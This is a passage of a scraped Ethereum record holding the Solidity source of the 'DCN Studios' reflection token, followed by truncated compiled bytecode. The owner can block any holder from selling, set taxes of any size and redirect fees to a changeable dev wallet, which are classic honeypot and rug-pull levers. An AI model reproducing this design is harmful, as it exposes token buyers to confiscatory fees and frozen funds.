The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); } contract DCNStudios is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private botWallets; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private isExchangeWallet; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 100000000 * 10 ** 9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "DCN Studios"; string private _symbol = "DCNS"; uint8 private _decimals = 9; IUniswapV2Router02 public uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public uniswapV2Pair = address(0); bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxBuyAmount = 250000 * 10**9; uint256 public numTokensSellToAddToLiquidity = 1000000 * 10**9; uint public ethSellAmount = 1000000000000000000; //1 ETH address public devWallet = 0x3B0C70Ed03D3CF3571512b053f12Ad1f8f3E69FE; address public deadWallet = 0x000000000000000000000000000000000000dEaD; struct Distribution { uint256 sharePercentage; uint256 devFeePercentage; } struct TaxFees { uint256 reflectionFee; uint256 liquidityFee; uint256 sellReflectionFee; uint256 sellLiquidityFee; uint256 superSellOffFee; } bool private doTakeFees; bool private isSellTxn; TaxFees public taxFees; Distribution public distribution; constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_msgSender()] = true; _isExcludedFromFee[devWallet] = true; taxFees = TaxFees(2,2,1,3,8); distribution = Distribution(60, 100); emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function airDrops(address[] calldata newholders, uint256[] calldata amounts) external { uint256 iterator = 0; require(_isExcludedFromFee[_msgSender()], "Airdrop can only be done by excluded from fee"); require(newholders.length == amounts.length, "Holders and amount length must be the same"); while(iterator < newholders.length){ _tokenTransfer(_msgSender(), newholders[iterator], amounts[iterator] * 10**9, false, false); iterator += 1; } } function deliver(uint256 tAmount) public { address sender = _msgSender(); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromFee(address[] calldata addresses) public onlyOwner { addRemoveFee(addresses, true); } function includeInFee(address[] calldata addresses) public onlyOwner { addRemoveFee(addresses, false); } function addExchange(address[] calldata addresses) public onlyOwner { addRemoveExchange(addresses, true); } function removeExchange(address[] calldata addresses) public onlyOwner { addRemoveExchange(addresses, false); } function createV2Pair() external onlyOwner { require(uniswapV2Pair == address(0),"UniswapV2Pair has already been set"); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); } function addRemoveExchange(address[] calldata addresses, bool flag) private { for (uint256 i = 0; i < addresses.length; i++) { address addr = addresses[i]; isExchangeWallet[addr] = flag; } } function addRemoveFee(address[] calldata addresses, bool flag) private { for (uint256 i = 0; i < addresses.length; i++) { address addr = addresses[i]; _isExcludedFromFee[addr] = flag; } } function setExtraSellEthAmount(uint ethPrice) external onlyOwner { ethSellAmount = ethPrice; } function setMaxBuyAmount(uint256 maxBuyAmount) external onlyOwner() { _maxBuyAmount = maxBuyAmount * 10**9; } function setTaxFees(uint256 reflectionFee, uint256 liquidityFee, uint256 sellReflectionFee, uint256 sellLiquidityFee, uint256 superSellOffFee) external onlyOwner { taxFees.reflectionFee = reflectionFee; taxFees.liquidityFee = liquidityFee; taxFees.sellLiquidityFee = sellLiquidityFee; taxFees.sellReflectionFee = sellReflectionFee; taxFees.superSellOffFee = superSellOffFee; } function setDevSharePercentage(uint256 sharePercentage) external onlyOwner { distribution.sharePercentage = sharePercentage; } function setNumTokensToSell(uint256 numTokensSellToAddToLiquidity_) external onlyOwner { numTokensSellToAddToLiquidity = numTokensSellToAddToLiquidity_ * 10**9; } function setDevWallet(address _devWallet) external onlyOwner { devWallet = _devWallet; } function isAddressBlocked(address addr) public view returns (bool) { return botWallets[addr]; } function blockAddresses(address[] memory addresses) external onlyOwner() { blockUnblockAddress(addresses, true); } function unblockAddresses(address[] memory addresses) external onlyOwner() { blockUnblockAddress(addresses, false); } function blockUnblockAddress(address[] memory addresses, bool doBlock) private { for (uint256 i = 0; i < addresses.length; i++) { address addr = addresses[i]; if(doBlock) { botWallets[addr] = true; } else { delete botWallets[addr]; } } } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { uint256 reflectionFee = 0; if(doTakeFees) { reflectionFee = taxFees.reflectionFee; if(isSellTxn) { reflectionFee = reflectionFee.add(taxFees.sellReflectionFee); } } return _amount.mul(reflectionFee).div(10**2); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { uint256 totalLiquidityFee = 0; if(doTakeFees) { totalLiquidityFee = taxFees.liquidityFee; if(isSellTxn) { totalLiquidityFee = totalLiquidityFee.add(taxFees.sellLiquidityFee); uint ethPrice = getEthPrice(_amount); if(ethPrice >= ethSellAmount) { totalLiquidityFee = totalLiquidityFee.add(taxFees.superSellOffFee); } } } return _amount.mul(totalLiquidityFee).div(10**2); } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(uniswapV2Pair != address(0),"UniswapV2Pair has not been set"); bool isSell = false; bool takeFees = !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && from != owner() && to != owner(); //block the bots, but allow them to transfer to dead wallet if they are blocked if(from != owner() && to != owner() && to != deadWallet) { require(!botWallets[from] && !botWallets[to], "bots are not allowed to sell or transfer tokens"); } if(from == uniswapV2Pair || isExchangeWallet[from]) { require(amount <= _maxBuyAmount, "Transfer amount exceeds the maxTxAmount."); } if(from != uniswapV2Pair && to == uniswapV2Pair || (!isExchangeWallet[from] && isExchangeWallet[to])) { //if sell //only tax if tokens are going back to Uniswap isSell = true; sellTaxTokens(); } if(from != uniswapV2Pair && to != uniswapV2Pair && !isExchangeWallet[from] && !isExchangeWallet[to]) { takeFees = false; } _tokenTransfer(from, to, amount, takeFees, isSell); } function sellTaxTokens() private { uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance >= numTokensSellToAddToLiquidity && !inSwapAndLiquify && swapAndLiquifyEnabled) { //distribution shares is the percentage to be shared between marketing, charity, and dev wallets //remainder will be for the liquidity pool uint256 balanceToShareTokens = contractTokenBalance.mul(distribution.sharePercentage).div(100); uint256 liquidityPoolTokens = contractTokenBalance.sub(balanceToShareTokens); //just in case distribution Share Percentage is set to 100%, there will be no tokens to be swapped for liquidity pool if(liquidityPoolTokens > 0) { //add liquidity swapAndLiquify(liquidityPoolTokens); } //send eth to wallets (marketing, charity, dev) distributeShares(balanceToShareTokens); } } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); uint256 initialBalance = address(this).balance; swapTokensForEth(half); uint256 newBalance = address(this).balance.sub(initialBalance); addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function getEthPrice(uint tokenAmount) public view returns (uint) { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); return uniswapV2Router.getAmountsOut(tokenAmount, path)[1]; } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function distributeShares(uint256 balanceToShareTokens) private lockTheSwap { swapTokensForEth(balanceToShareTokens); uint256 devFees = address(this).balance; payable(devWallet).transfer(devFees); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFees, bool isSell) private { doTakeFees = takeFees; isSellTxn = isSell; _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }
0x6080604052600436106102815760003560e01c80637ca2ea441161014f578063a457c2d7116100c1578063dc0aa9cf1161007a578063dc0aa9cf146109be578063dcda6af3146109e7578063dd62ed3e14610a10578063e7dad4f914610a4d578063f2fde38b14610a8a578063f34eb0b814610ab357610288565b8063a457c2d7146108b0578063a9059cbb146108ed578063ab0d8b851461092a578063b6a9987214610953578063c49b9a801461096a578063d12a76881461099357610288565b80638da5cb5b116101135780638da5cb5b146107b25780638ea5220f146107dd57806391142cb3146108085780639355e6db1461083357806395d89b411461085c5780639b0e2e861461088757610288565b80637ca2ea44146106cf57806385141a77146106f857806385d4787b14610723578063870d365d1461074c5780638a5c50851461078957610288565b80632d838119116101f35780634a74bb02116101ac5780634a74bb02146105be5780635342acb4146105e95780635ee58efc1461062657806370a0823114610652578063715018a61461068f57806371b9189c146106a657610288565b80632d83811914610488578063313ce567146104c557806339509351146104f05780633bd5d1731461052d5780634549b0391461055657806349bd5a5e1461059357610288565b80630ddc0976116102455780630ddc09761461037257806313114a9d146103a15780631694505e146103cc57806318160ddd146103f75780631f53ac021461042257806323b872dd1461044b57610288565b8063024022f71461028d578063035ae135146102b65780630492f055146102df57806306fdde031461030a578063095ea7b31461033557610288565b3661028857005b600080fd5b34801561029957600080fd5b506102b460048036038101906102af919061408c565b610adc565b005b3480156102c257600080fd5b506102dd60048036038101906102d8919061408c565b610b81565b005b3480156102eb57600080fd5b506102f4610c26565b60405161030191906140f2565b60405180910390f35b34801561031657600080fd5b5061031f610c2c565b60405161032c91906141a6565b60405180910390f35b34801561034157600080fd5b5061035c60048036038101906103579190614252565b610cbe565b60405161036991906142ad565b60405180910390f35b34801561037e57600080fd5b50610387610cdc565b6040516103989594939291906142c8565b60405180910390f35b3480156103ad57600080fd5b506103b6610d00565b6040516103c391906140f2565b60405180910390f35b3480156103d857600080fd5b506103e1610d0a565b6040516103ee919061437a565b60405180910390f35b34801561040357600080fd5b5061040c610d30565b60405161041991906140f2565b60405180910390f35b34801561042e57600080fd5b5061044960048036038101906104449190614395565b610d3a565b005b34801561045757600080fd5b50610472600480360381019061046d91906143c2565b610e13565b60405161047f91906142ad565b60405180910390f35b34801561049457600080fd5b506104af60048036038101906104aa9190614415565b610eec565b6040516104bc91906140f2565b60405180910390f35b3480156104d157600080fd5b506104da610f5a565b6040516104e7919061445e565b60405180910390f35b3480156104fc57600080fd5b5061051760048036038101906105129190614252565b610f71565b60405161052491906142ad565b60405180910390f35b34801561053957600080fd5b50610554600480360381019061054f9190614415565b611024565b005b34801561056257600080fd5b5061057d600480360381019061057891906144a5565b611112565b60405161058a91906140f2565b60405180910390f35b34801561059f57600080fd5b506105a8611196565b6040516105b591906144f4565b60405180910390f35b3480156105ca57600080fd5b506105d36111bc565b6040516105e091906142ad565b60405180910390f35b3480156105f557600080fd5b50610610600480360381019061060b9190614395565b6111cf565b60405161061d91906142ad565b60405180910390f35b34801561063257600080fd5b5061063b611225565b60405161064992919061450f565b60405180910390f35b34801561065e57600080fd5b5061067960048036038101906106749190614395565b611237565b60405161068691906140f2565b60405180910390f35b34801561069b57600080fd5b506106a4611288565b005b3480156106b257600080fd5b506106cd60048036038101906106c8919061408c565b6113db565b005b3480156106db57600080fd5b506106f660048036038101906106f19190614415565b611480565b005b34801561070457600080fd5b5061070d61152e565b60405161071a91906144f4565b60405180910390f35b34801561072f57600080fd5b5061074a60048036038101906107459190614676565b611554565b005b34801561075857600080fd5b50610773600480360381019061076e9190614415565b6115f7565b60405161078091906140f2565b60405180910390f35b34801561079557600080fd5b506107b060048036038101906107ab9190614415565b61183a565b005b3480156107be57600080fd5b506107c76118d9565b6040516107d491906144f4565b60405180910390f35b3480156107e957600080fd5b506107f2611902565b6040516107ff91906144f4565b60405180910390f35b34801561081457600080fd5b5061081d611928565b60405161082a91906140f2565b60405180910390f35b34801561083f57600080fd5b5061085a60048036038101906108559190614415565b61192e565b005b34801561086857600080fd5b506108716119d0565b60405161087e91906141a6565b60405180910390f35b34801561089357600080fd5b506108ae60048036038101906108a99190614676565b611a62565b005b3480156108bc57600080fd5b506108d760048036038101906108d29190614252565b611b05565b6040516108e491906142ad565b60405180910390f35b3480156108f957600080fd5b50610914600480360381019061090f9190614252565b611bd2565b60405161092191906142ad565b60405180910390f35b34801561093657600080fd5b50610951600480360381019061094c919061408c565b611bf0565b005b34801561095f57600080fd5b50610968611c95565b005b34801561097657600080fd5b50610991600480360381019061098c91906146bf565b611f9b565b005b34801561099f57600080fd5b506109a8612084565b6040516109b591906140f2565b60405180910390f35b3480156109ca57600080fd5b506109e560048036038101906109e091906146ec565b61208a565b005b3480156109f357600080fd5b50610a0e6004803603810190610a0991906147bd565b612158565b005b348015610a1c57600080fd5b50610a376004803603810190610a32919061483e565b6122c0565b604051610a4491906140f2565b60405180910390f35b348015610a5957600080fd5b50610a746004803603810190610a6f9190614395565b612347565b604051610a8191906142ad565b60405180910390f35b348015610a9657600080fd5b50610ab16004803603810190610aac9190614395565b61239d565b005b348015610abf57600080fd5b50610ada6004803603810190610ad59190614415565b61255e565b005b610ae461260c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b68906148ca565b60405180910390fd5b610b7d82826000612614565b5050565b610b8961260c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d906148ca565b60405180910390fd5b610c22828260016126bf565b5050565b600e5481565b6060600a8054610c3b90614919565b80601f0160208091040260200160405190810160405280929190818152602001828054610c6790614919565b8015610cb45780601f10610c8957610100808354040283529160200191610cb4565b820191906000526020600020905b815481529060010190602001808311610c9757829003601f168201915b5050505050905090565b6000610cd2610ccb61260c565b848461276a565b6001905092915050565b60138060000154908060010154908060020154908060030154908060040154905085565b6000600954905090565b600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600754905090565b610d4261260c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc6906148ca565b60405180910390fd5b80601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610e20848484612933565b610ee184610e2c61260c565b610edc856040518060600160405280602881526020016157dd60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610e9261260c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131929092919063ffffffff16565b61276a565b600190509392505050565b6000600854821115610f33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2a906149bc565b60405180910390fd5b6000610f3d6131f6565b9050610f52818461322190919063ffffffff16565b915050919050565b6000600c60009054906101000a900460ff16905090565b600061101a610f7e61260c565b846110158560036000610f8f61260c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461326b90919063ffffffff16565b61276a565b6001905092915050565b600061102e61260c565b9050600061103b836132c9565b5050505050905061109481600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461332590919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110ec8160085461332590919063ffffffff16565b6008819055506111078360095461326b90919063ffffffff16565b600981905550505050565b6000600754831115611159576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115090614a28565b60405180910390fd5b81611179576000611169846132c9565b5050505050905080915050611190565b6000611184846132c9565b50505050915050809150505b92915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60159054906101000a900460ff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60188060000154908060010154905082565b6000611281600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eec565b9050919050565b61129061260c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461131d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611314906148ca565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6113e361260c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611470576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611467906148ca565b60405180910390fd5b61147c82826001612614565b5050565b61148861260c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611515576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150c906148ca565b60405180910390fd5b633b9aca00816115259190614a77565b600f8190555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61155c61260c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e0906148ca565b60405180910390fd5b6115f481600161336f565b50565b600080600267ffffffffffffffff81111561161557611614614538565b5b6040519080825280602002602001820160405280156116435781602001602082028036833780820191505090505b509050308160008151811061165b5761165a614ad1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611702573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117269190614b15565b8160018151811061173a57611739614ad1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f84836040518363ffffffff1660e01b81526004016117d1929190614c00565b600060405180830381865afa1580156117ee573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906118179190614d08565b60018151811061182a57611829614ad1565b5b6020026020010151915050919050565b61184261260c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c6906148ca565b60405180910390fd5b8060108190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60105481565b61193661260c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ba906148ca565b60405180910390fd5b8060186000018190555050565b6060600b80546119df90614919565b80601f0160208091040260200160405190810160405280929190818152602001828054611a0b90614919565b8015611a585780601f10611a2d57610100808354040283529160200191611a58565b820191906000526020600020905b815481529060010190602001808311611a3b57829003601f168201915b5050505050905090565b611a6a61260c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611af7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aee906148ca565b60405180910390fd5b611b0281600061336f565b50565b6000611bc8611b1261260c565b84611bc3856040518060600160405280602581526020016158056025913960036000611b3c61260c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131929092919063ffffffff16565b61276a565b6001905092915050565b6000611be6611bdf61260c565b8484612933565b6001905092915050565b611bf861260c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7c906148ca565b60405180910390fd5b611c91828260006126bf565b5050565b611c9d61260c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d21906148ca565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611dbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db290614dc3565b60405180910390fd5b600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611e28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e4c9190614b15565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ed5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ef99190614b15565b6040518363ffffffff1660e01b8152600401611f16929190614de3565b6020604051808303816000875af1158015611f35573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f599190614b15565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b611fa361260c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612030576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612027906148ca565b60405180910390fd5b80600d60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d